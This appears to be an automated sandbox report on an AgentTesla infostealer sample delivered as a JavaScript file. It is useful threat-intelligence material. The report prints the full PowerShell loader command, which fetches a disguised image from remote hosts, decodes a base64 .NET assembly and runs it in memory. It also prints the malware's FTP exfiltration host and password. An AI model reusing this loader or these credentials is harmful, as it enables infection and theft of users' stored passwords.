Analysis

  • max time kernel
    91s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/02/2024, 16:23

General

  • Target
    comprobante_swift89534657687.js
  • Size 1KB
  • Sample240223-tvs3nsda98
  • SHA256 41f76926477c7f8759900567ced4e5e1f9057e40d2a151badc873d23f372997e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • agenttesla

Credentials
  • Protocol

    ftp

  • Host

    ftp://ftp.elquijotebanquetes.com

  • Port

    21

  • Password

    4r@d15PS!-!h

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\comprobante_swift89534657687.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482', 'http://45.74.19.84/xampp/bkp/js_bkp.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.diord46esab/19.412.542.271//:ptth' , 'desativado' , 'C:\ProgramData\' , 'Name'))}}
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4396
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2728

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_wtxye0cu.bz2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wtxye0cu.bz2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/1368-9-0x00007FFE2E940000-0x00007FFE2F2E1000-memory.dmp

        memory/1368-10-0x000002A2ED3F0000-0x000002A2ED400000-memory.dmp

        memory/1368-11-0x00007FFE2E940000-0x00007FFE2F2E1000-memory.dmp

        memory/1368-13-0x00007FFE2E940000-0x00007FFE2F2E1000-memory.dmp

        memory/2728-42-0x0000000074500000-0x0000000074CB0000-memory.dmp

        memory/2728-35-0x0000000074500000-0x0000000074CB0000-memory.dmp

        memory/2728-41-0x00000000066C0000-0x00000000066CA000-memory.dmp

        memory/2728-40-0x0000000006730000-0x00000000067C2000-memory.dmp

        memory/2728-39-0x0000000006640000-0x0000000006690000-memory.dmp

        memory/2728-38-0x0000000005380000-0x00000000053E6000-memory.dmp

        memory/2728-37-0x0000000005370000-0x0000000005380000-memory.dmp

        memory/2728-36-0x0000000005930000-0x0000000005ED4000-memory.dmp

        memory/2728-31-0x0000000000400000-0x0000000000442000-memory.dmp

        memory/4396-14-0x000001BCCB9F0000-0x000001BCCBA12000-memory.dmp

        memory/4396-34-0x00007FFE2E820000-0x00007FFE2F2E1000-memory.dmp

        memory/4396-30-0x000001BCEE200000-0x000001BCEE74C000-memory.dmp

        memory/4396-29-0x000001BCCBA40000-0x000001BCCBA50000-memory.dmp

        memory/4396-28-0x000001BCCBA40000-0x000001BCCBA50000-memory.dmp

        memory/4396-27-0x00007FFE2E820000-0x00007FFE2F2E1000-memory.dmp

        memory/4396-26-0x000001BCCBA40000-0x000001BCCBA50000-memory.dmp

        memory/4396-25-0x000001BCCBA40000-0x000001BCCBA50000-memory.dmp

        memory/4396-20-0x00007FFE2E820000-0x00007FFE2F2E1000-memory.dmp